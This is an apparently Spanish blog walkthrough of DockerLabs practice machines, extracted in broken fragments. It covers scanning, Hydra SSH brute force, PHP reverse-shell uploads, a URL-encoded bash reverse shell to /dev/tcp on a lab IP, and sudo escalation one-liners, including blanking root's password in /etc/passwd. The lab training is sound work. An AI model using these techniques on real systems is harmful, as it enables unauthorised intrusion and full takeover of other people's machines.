DOCKERLABS
DOCKERLABS
DOCKERLABS
Tras unas breves vacaciones del mundo de la seguridad informática y del rooteo de
THackeo. La página web nos ofrece una amplia variedad de máquinas vulnerables
clasificadas según su dificultad y con las que podremos operar a través de Docker.
lugar las disponibles clasificadas como “Muy Fáciles”: Firsthacking, Trust, Upload
● Esteganografía - Stegseek
● Tratamiento de TTY
● Python scripting
Recordemos que tanto el objetivo de estos informes como del blog es aprender y
source Docker y por último la empresa Docker Inc. Tanto la empresa como la
funcionalidad, pues será la herramienta que utilizaremos para dar vida a las
Docker hace uso del kernel de Linux y sus funciones para proporcionar un mejor
aislamiento y ligereza de los contenedores con los que trabaja. Hace uso de
uso de recursos de la CPU, RAM, disco y red para cada contenedor. Otra función
el sistema, lo que inicia una solicitud de recursos del kernel mediante la función
el contenedor, aislándolo del sistema anfitrión. De este modo, cada contenedor tiene
su propio sistema de archivos montado sobre el sistema de archivos del host. Los
Kali con el comando “sudo apt install docker.io”. Una vez descargada e instalada
podremos crear una carpeta compartida con los archivos de prácticas entre nuestro
4.1 FirstHacking
utilizaremos como objetivo en esta primera sección. También nos dará la dirección
IP de la máquina arrancada, por lo que no hará falta analizar la red local en busca
obtenemos lo siguiente:
sugerencia podemos quedarnos con esta dirección, ya que será la misma para
todas las futuras máquinas vulnerables con las que trabajaremos (aquellas
en anteriores prácticas: nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv
protocolo ftp (File Transfer Protocol) en una versión vsftpd 2.3.4. Al carecer de
El resultado muestra dos opciones que parecen similares, ofreciendo una ejecución
Ejecutamos el script con el comando “python3 49757.py” para ver los parámetros
Podríamos realizar el tratamiento de la TTY para obtener una shell más completa e
interactiva pero estas máquinas por el momento carecen de “flags” como en otras
4.2 Trust
contenedor de Docker del mismo modo que con la anterior máquina vulnerable,
Abrimos una nueva ventana de terminal en Kali para evitar cerrar nuestra máquina
es el siguiente: nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2.
Este es el resultado:
La salida del escaneo muestra dos puertos abiertos, el puerto 22 operando con el
protocolo SSH y el puerto 80, por el que corre el protocolo HTTP. Nos encontramos
navegador web como Firefox, bien a través de herramientas como cURL o Wget.
/home/kali/lists/directory-list-2.3-medium.txt -u http://172.17.0.2/ -x
Tras una breve búsqueda damos con un archivo “/secret.php”, el cual podrá ser de
utilidad. Antes de nada realizamos una consulta HTTP con cURL a la dirección IP
encontramos con la página por defecto de Apache, por lo que el siguiente paso será
Nos muestra una simple página web con un breve texto. Menciona el nombre de
Mario y nada más que resulte útil. Tras investigar un poco por aquí y por allá no
encontramos más información, por lo que es hora de recurrir a la última opción, un
ataque de fuerza bruta al puerto 21 SSH con Hydra. Utilizaremos el diccionario
“rockyou.txt”, ampliamente extendido y utilizado en el entorno educativo del
hacking ético junto con la herramienta Hydra. Como tan solo tenemos el nombre
“Mario” lo utilizaremos como único indicio. El comando a ejecutar es el siguiente:
hydra -l mario -P /home/kali/lists/rockyou.txt ssh://172.17.0.2
Tras una muy breve demora logramos dar con la contraseña del usuario “Mario”,
con el comando “grep ‘chocolate’ rockyou.txt -n”. El parámetro “-n” nos indicará la
a analizar el mensaje para aprender qué es, qué significa y por qué salta.
El protocolo SSH utiliza un sistema de claves para verificar la identidad del servidor
con el que se establece una conexión. Tras la primera conexión con el servidor se
máquinas a través de contenedores de Docker con una misma dirección IP, por lo
que esta clave SSH variará según el sistema (máquina) que utilicemos.
que coincida con la cadena indicada, en este caso establecemos la dirección IP del
comando “sudo -l” para buscar comandos a ejecutar con privilegios de root desde el
Con este último paso damos por resuelta la máquina “Trust”. Cerramos el laboratorio
4.3 Upload
escaneo de puertos y servicios con Nmap para obtener información previa sobre la
comando a ejecutar será el siguiente: nmap -sS -sV -sC -Pn -p- -n
protocolo HTTP. Como bien deberíamos saber a estas alturas, esto indica la
navegador web. Lo primero que haremos será realizar una consulta Whatweb para
Obtenemos escasa pero útil información tras la consulta. Vemos que el servidor (la
máquina objetivo) opera con un sistema operativo Ubuntu Linux y utiliza una
web “Upload here your file”. En primer lugar encontramos un pequeño error
gramatical, pues la frase debería estar escrita “upload your file here”, pero eso es
otro tema, jeje. Lo que nos concierne en esta situación es una posible vulnerabilidad
http://172.17.0.2/ -x jpg,html,php,txt.
200 nos indica que este directorio es accesible, por lo que nos topamos con una
archivo malicioso, como un backdoor podremos hacernos con el control del servidor
que intentaremos cargar una reverse shell en formato “.php”. Con el siguiente
/usr/share/webshells/php/php-reverse-shell.php /home/kali/exploit.php.
4.3.5 Exploit.php.
(nuestra máquina Kali) y el puerto que queramos utilizar para establecer esta
El siguiente paso será cargar o subir el archivo malicioso al servidor web. Podremos
utilizar libremente la propia página web. Una vez subido el archivo abrimos un canal
de escucha en nuestra máquina Kali con Netcat a través del comando “nc -lvnp
1234”, indicando el mismo puerto que hemos indicado en el archivo con la reverse
shell. En otra pestaña hacemos una llamada al archivo “.php” que hemos subido
una conexión.
Realizamos un tratamiento de TTY básico (no podemos obtener una shell completa)
manera de realizar una escala de privilegios a través de este binario “env”. A través
del comando “sudo env /bin/sh” logramos escalar nuestros privilegios a root, dando
4.3.8 Root.
4.4 Vacaciones
siguiente resultado:
Descubrimos dos puertos abiertos, el puerto 22 por el que corre el protocolo SSH y
partida que ya se hace muy familiar: un servidor web desde el cual descubrir
escalar nuestros privilegios en el sistema hasta hacernos con el control del mismo.
Situación familiar, método usual. Comenzamos con una consulta Whatweb sin un
/home/kali/lists/directory-list-2.3-medium.txt -u http://172.17.0.2/ -x
jpg,html,php,txt”.
realizar será bien visitar la página web alojada a través de nuestro navegador web
(firefox) o bien a través de una consulta HTTP con cURL. Desde el navegador tan
código fuente del sitio web con “Click derecho > View page source”. Esto mostrará
información útil.
será a través del comando en consola “curl 172.17.0.2”, lo que imprimirá en pantalla
relacionada con un correo. Tras una exhaustiva búsqueda alrededor del puerto 80
Hydra. Podemos crear una lista con los dos posibles usuarios con “nano usuarios”
/home/kali/lists/rockyou.txt ssh://172.17.0.2”.
“bash” para una terminal más completa y funcional y ejecutamos el comando “sudo
siguiente comando: find / -name ‘mail’ 2>/dev/null. Con ello buscaremos en todo el
sistema (/) cualquier archivo o directorio con el nombre “mail” (-name ‘mail’). La
dentro abrimos una shell bash con “bash”. Una vez dentro repetimos el mismo
con el usuario actual pero con permisos de administrador. Ejecutamos “sudo -l” y
descubrimos que el usuario “juan” puede utilizar el binario “ruby” con permisos root.
privilegios con el uso del binario “ruby”. Ejecutamos el comando “ sudo ruby -e
'exec "/bin/sh"' ” y logramos el control total del sistema “vacaciones”. Con esto
4.4.7 Root.
5.1 Amor
servicios con Nmap con el comando “nmap -sS -sV -sC -Pn -p- -n
protocolo HTTP. Como carecemos de ningún tipo de credenciales con las que
empezar, tomaremos como punto de partida una consulta Whatweb, así como una
métodos por lo que el siguiente paso será analizar la web propiamente dicha. Para
ello ejecutamos el comando “curl 172.17.0.2” para obtener el código fuente del sitio
Topamos con lo que parece ser una serie de comunicados y recordatorios a los
recordatorio de uso de contraseñas robustas, etc. Lo que más llama la atención son
los siguientes mensajes. En el tercero podemos ver que existe una cuenta de
usuario en el sistema que utiliza una contraseña débil, por lo que probablemente se
encuentre en nuestra lista “rockyou.txt”. En la siguiente línea, una tal Carlota, del
enviar una contraseña a través de un correo electrónico. Los comunicados nos dan
a través del puerto 22 con Hydra. Podremos hacer una lista con ambos usuarios,
ssh://172.17.0.2 -I”.
El ataque resulta exitoso, por lo que establecemos una conexión por SSH con la
los binarios con permisos de root, así como aquellos comandos o archivos de la
propiedad del usuario “carlota” con el comando “find / -perm -4000 2>/dev/null.
Por desgracia no logramos encontrar nada que nos sea de utilidad, por lo que
en segundo plano al puerto SSH con el usuario “oscar” mientras navegamos por los
carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg
herramientas online como dCode para identificar más fácilmente el tipo de cifrado
cadena:
oscar, por lo que intentamos acceder por SSH con las credenciales
con permisos de administrador y damos con que el usuario “oscar” puede utilizar el
binario “ruby” con permisos de root. Accedemos a nuestra navaja suiza de escalada
de privilegios, GTFObins para dar con el comando a ejecutar. En este caso será
“sudo ruby -e 'exec "/bin/sh"'”. Con ello accedemos al sistema con privilegios
5.2 Anonymouspingu
puertos y servicios para ver con qué trabajaremos en esta situación. Ejecutamos el
comando “nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2” y
protocolo FTP, el cual además permite el acceso sin contraseña con el usuario
“anonymous”. También tiene el puerto 80 abierto, lo que indica una página web
alojada en la máquina.
todos los privilegios posibles sobre él, por lo que haremos será muy simple:
enviaremos un archivo malicioso al servidor a través de FTP para crear una puerta
El primer paso será copiar y modificar el archivo que utilizaremos para crear la
/usr/share/webshells/php/php-reverse-shell.php /home/kali/exploit.php”
de texto con la dirección IP local (en este caso 10.0.2.25) y el puerto que
después subimos el archivo malicioso con el comando “put exploit.php”. Una vez
con Netcat en el puerto 1234 con el comando “nc -lvnp 1234”. Tras abrir el canal de
Nos topamos con un pequeño problema. No funciona. Por suerte tenemos otra
hacer con el anterior archivo, es decir, establecer una conexión con Netcat. Para
ello haremos uso de la terminal web provisional abierta con el archivo malicioso
sido el siguiente:
Para que la reverse shell funcionase tuvimos primero que añadir al comando “bash
http://172.17.0.2/upload/exploit2.php?cmd=bash%20-c%20%22bash%20-i%20%
3E%26%20%2Fdev%2Ftcp%2F10.0.2.25%2F1234%200%3E%261%22”.
Una vez abierta la shell hacemos el tratamiento de TTY para obtener una shell más
siguientes:
^Z
reset xterm
Una vez realizado el tratamiento de TTY realizamos la consulta usual para encontrar
Para poder ejecutar el comando a través del usuario actual desde el usuario “pingu”
una breve consulta en GTFObins descubrimos que podremos abrir una shell a
través del manual de cualquier comando, siempre que ejecutemos el binario con
permisos root. Tan solo tendremos que ejecutar el comando “man” para abrir el
“sudo -l”.
desde el usuario “gladys” con el comando “sudo -u gladys dpkg -l” y del mismo
modo que con el usuario anterior abrimos una shell con “!/bin/sh”. A continuación
realizamos el tratamiento de TTY para obtener una shell más completa desde el
comandos. Utilizamos por última vez el comando “sudo -l” desde el usuario
“gladys”.
“sudo -l” nos muestra que el usuario actual, “gladys” podrá ejecutar el binario
en este caso, “/etc”. Ahora que somos propietarios del directorio entero expliquemos
(Linux, MacOS, etc) cuya función principal es almacenar información acerca de las
cuentas de usuario del sistema. La primera línea suele hacer referencia al propio
de este archivo, tomando como referencia la línea del usuario “root”, que es la
siguiente: root:x:0:0:root:/root:/bin/bash.
archivo
únicos de usuario.
En este caso, lo que nos concierne es la segunda entrada de la línea, “:x:” la cual
hace referencia a la contraseña del usuario root. Si eliminamos esa “x” del archivo
editor de texto, como “nano” o “vim”, por lo que recurriremos a un binario con
nombre “sed”. Stream Editor (sed) es una herramienta que podemos encontrar en
contraseña del usuario “root”, sustituyendo “:x:” por “::”, dejando así vacía la
Tras sustituir la cadena de texto cambiamos de usuario a “root” con “su root”,
5.3 Capypenguin
servicios de la máquina con nmap mediante el comando “nmap -sS -sV -sC -Pn -p-
resultado:
SSH, un puerto 80 HTTP y un puerto 3306 MySQL. Con esta información previa
/home/kali/lists/directory-list-2.3-medium.txt -u http://172.17.0.2/ -x
Apache utilizada (2.4.52), así como el título de la página web alojada, “Web de
por lo que el siguiente paso será inspeccionar el código fuente de la página web.
Tras inspeccionar el código fuente del sitio web nos topamos con un mensaje
contraseñas. También menciona el comando “tac”. Tac (Tool for Aligning and
los puertos 22 (SSH) y 3306 (mySQL) utilizando como usuario “capybarauser”. Con
analizarlo con cualquier editor de texto, como nano o vm, o también podemos
comprobar las primeras líneas del archivo con el comando “head”. Observamos lo
siguiente:
Observamos que la nueva lista está llena de espacios en blanco, por alguna razón.
texto. Con “tr -d ‘ ‘“ eliminaremos los espacios en blanco del archivo original. Nos
aseguramos también de eliminar los caracteres extraños “*, ^D, ^H” que
encontraremos tras inspeccionar el archivo con “nano”. Probamos suertes una vez
disponible en la máquina objetivo. Nos conectamos a través del puerto 3306 con el
capybarauser -p”.
primero que haremos será enumerar las bases de datos existentes en el sistema.
Para ello introducimos el comando “SHOW DATABASES;”. Esto nos mostrará una
“SHOW TABLES;”. La base de datos actual, “pinguinasio_db” solo tiene una tabla,
acceso, las cuales creemos que serán útiles para acceder por SSH al sistema. El
el editor de texto “nano”. La página web nos muestra que, abriendo el binario
“nano” desde root con “sudo nano” podremos hacer “CTRL+R” (también escrito
“^R”) y a continuación “CTRL+X” (^X) para abrir una terminal en el propio editor de
texto. “^R” Ejecutará el comando “Read File” para leer un archivo del sistema. Acto
seguido, “^X” ejecutará la opción “Execute command”, dándonos paso libre para
este caso “bash”. Con esto lograremos hacernos con el control del sistema, al
5.3.11 Root.
5.4 Chocolatelovers
servicios con nmap. El comando utilizado es, como de costumbre, “nmap -sS -sV
-sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2”. Este es el resultado del escaneo:
Descubrimos que la máquina objetivo tan solo cuenta con un puerto abierto, el 80
“/update.php”.
Damos con una supuesta página de actualización de la versión y plugins del CMS
utilizado por el sistema objetivo, Nibbleblog. Lo que nos llama la atención (o debería
a estas alturas) es la versión del CMS utilizado, “Nibbleblog 4.0.3 “Coffee””. Tras
que posee una falla de seguridad muy grave, que nos permite la subida de ficheros
control de tipos de ficheros subidos a través del plugin “my image”, instalado por
reverse shell en PHP para acceder al sistema. Sin embargo, necesitaremos las
apartado Plugins > My Image > Install. Una vez estamos en la página del plugin
seleccionamos nuestro archivo “.php” con la reverse shell. Recordemos que este
en “/usr/share/webshells/php/php-reverse-shell”.
con Netcat en nuestra máquina Kali con el comando “nc -vnp 1234”. A continuación
es “http://172.17.0.2/nibbleblog/content/private/plugins/my_image/exploit.php”.
Una vez abierta la shell en la terminal, a través del canal de escucha con Netcat
“reset xterm” y por último exportamos la shell bash y el tipo de terminal “xterm” con
caso muestra “55 236”, por lo que en la reverse shell introduzco el comando “stty
ejecutables con permisos de administrador a través del comando “sudo -l”. Nos
mostrará lo siguiente:
El resultado nos indica que el usuario actual, “www-data” podrá ejecutar el binario
Accedemos a GTFOBins en busca del comando a ejecutar para obtener una shell
permisos de administrador, con el comando “sudo -l”. Sin embargo, nos pide la
archivos sobre los cuales el usuario actual “chocolate” tenga propiedad. Para ello
no muestra nada fuera de lo normal. Parece que ningún método usual nos funciona,
por lo que observaremos los procesos en ejecución del sistema a través del
● -u: Muestra información adicional sobre los usuarios que poseen los
procesos.
también conocido como PID, el nombre del comando, el estado del proceso,
proceso ni más ni menos que nuestro ansiado root desglosamos el proceso, para
● && while true; do: Crea un bucle infinito, ejecutando la siguiente parte del
en “/opt”.
● sleep 5: Esta parte introduce una pausa de 5 segundos entre cada ejecución
Por lo que hemos podido entender, root está ejecutando un proceso en segundo
encuentra el script ejecutado por root cada 5 segundos. Al tener permisos sobre el
reverse shell en .php, con un nuevo puerto de conexión (en mi caso el 1212) y el
nuevo nombre “script.php”. Acto seguido abrimos un servidor HTTP con Python
especificado en la nueva reverse shell, con el comando “nc -lvnp 1212”. Si todo
5.4.11 Root.
utilizado ha sido “nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2”.
Por alguna razón el escaneo se detuvo varias veces durante el proceso, por lo que
lugar el puerto 21 encargado del protocolo FTP (File Transfer Protocol). El segundo
puerto abierto es el puerto 22 por el que corre el protocolo SSH. En tercer lugar
3000 suele ser una opción popular para los desarrolladores que ejecutan servidores
entorno de producción.
encontrar nada más de utilidad desde este puerto continuaremos con el puerto 80.
como una consulta whatweb para obtener información adicional sobre el sistema.
/home/kali/lists/directory-list-2.3-medium.txt -u http://172.17.0.2/ -x
sobre los demás, “/maintenance.html”. Realizamos una consulta HTTP con cURL
para acceder al código fuente de la página web desde la terminal a través del
La página web muestra un mensaje avisando al usuario sobre el estado actual del
Tras probar suertes alrededor del puerto 80 no logramos ningún tipo de acceso, por
testeo de aplicaciones web, por lo que accedemos desde nuestro navegador web a
monitorear, analizar y explorar series de datos de tiempo. La página web nos recibe
con un cuadro de login, desde el cual intentamos acceder con la más clásica
“admin:admin”. Por alguna razón nos pide cambiar la contraseña, aunque también
Antes de avanzar e investigar de más o de menos en todos los rincones del sitio
software, etc. Muchas veces conseguiremos ahorrar mucho tiempo útil encontrando
rápidamente una versión de software vulnerable que explotar. Por suerte, este ha
sido el caso, una vez más. En la página principal, abajo a la izquierda en el icono de
información “?” podemos ver la versión utilizada para esta aplicación web, la
versión 8.3.0.
modo de uso. La ejecución del script en Python es bastante sencillo: solo tendremos
que hacer la llamada al mismo, seguido del parámetro “-H” para indicar el host, es
indiquemos qué archivo queremos leer. En primer lugar probaremos suertes con
una posible contraseña. El siguiente paso será intentar establecer una conexión por
qué se trata. Descubrimos que es un simple script que imprime en pantalla una
cadena de texto. Sabemos que cualquier usuario puede ejecutar el script con el
nosotros uno que nos permita iniciar una shell bash como administrador.
simplemente abrirá una shell bash, pero si lo ejecutamos desde “root” (recordemos
que cualquier usuario del sistema podrá ejecutar el binario “python3”) obtendremos
5.5.14 Root.
5.6 Pn
nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2. Este es el
resultado:
alternativo al 80 que suele ser utilizado como puerto de pruebas para servidores
web.
como Jakarta Tomcat. Se trata de un servidor web que permite ejecutar aplicaciones
asociadas a este software web. Básicamente seguiremos la guía del link, ya que
Podremos hacer click en el cuadro “Server Status” o “Manager App”. Nos solicitará
defecto de Apache Tomcat damos con las indicadas. En este caso “tomcat:s3cr3t”.
funcionar, por lo que lo dejaremos para otra ocasión. Por el momento hemos logrado
“List Applications” podremos ver un apartado llamado “Deploy” que nos dejará
subir un archivo “.war” al servidor. Nuestra tarea será buscar o crear un archivo de
esta extensión que nos permita establecer una shell inversa con nuestra máquina
revshell.war”.
Una vez subido el archivo abrimos un canal de escucha con Netcat con el comando
“nc -lvnp 1234”. Una vez establecido el canal desde nuestro equipo local
Con esto finalizamos la sexta máquina disponible en Dockerlabs, “Pn”. Vamos a por
la séptima.
5.6.6 Root.
El resultado muestra solo un puerto abierto. En este caso se trata del puerto 80
encargado del protocolo HTTP. Nos indica que existe un sitio web alojado en el
/home/kali/lists/directory-list-2.3-medium.txt -u http://172.17.0.2/ -x
gestión de contenidos) utilizado para crear y administrar sitios web y blogs. También
http:172.17.0.2/wordpress/”.
Parte de los resultados interesantes del escaneo son los mostrados en la captura.
de manera pública, presentando una grave falla de seguridad. Por otro lado, la
encuentra activado. Wp-cron es un sistema que permite programar tareas para que
principal
ataque.
“Theme Code Editor”. Desde aquí podremos utilizar un editor de temas para
servidor web una shell inversa. En la pestaña derecha hacemos click sobre el
Una vez pegado el código para la reverse shell hacemos click en “Update File”.
escucha con Netcat en nuestra máquina local Kali con el comando “nc -lvnp 1234”
“172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/exploit.php”.
Logramos establecer conexión con el sistema objetivo, obteniendo una shell desde
comandos:
^Z
reset xterm
muestra lo siguiente:
comando utilizado tanto para mostrar variables de entorno en un sistema como para
busca del comando adecuado para abrir una shell como superusuario. Ejecutando el
comando “/usr/bin/env /bin/sh -p” ejecutaremos una shell y con el parámetro “-p”
5.8 WhereIsMyWebshell
resultado.
“curl 172.17.0.2/index.html”
El sitio web nos habla de un reciente ataque por otro hacker, indicando que existe
piezas del puzzle. El siguiente archivo a analizar será “/shell.php”, y el mensaje del
anterior sitio web habla de una webshell, por lo que el siguiente paso a realizar será
buscando el adecuado para establecer posteriormente una shell inversa con nuestra
http://172.17.0.2/shell.php?FUZZ=id -w
máquina local Kali con el comando “nc -lvnp 1234”. Una vez abierto el canal
con nuestro Kali. Accedemos a RevShells y generamos nuestro código del siguiente
modo:
El siguiente paso a realizar, para asegurar un poco más el proceso será codificar el
encode. Existen varias herramientas online aunque en este caso yo utilicé esta. Al
Para establecer la conexión y lograr así una shell inversa ejecutamos el código
recién encriptado bien desde el navegador, bien a través del comando “curl
^Z
reset xterm
“cat” y obtenemos la contraseña del usuario “root”. Con “su root” accedemos al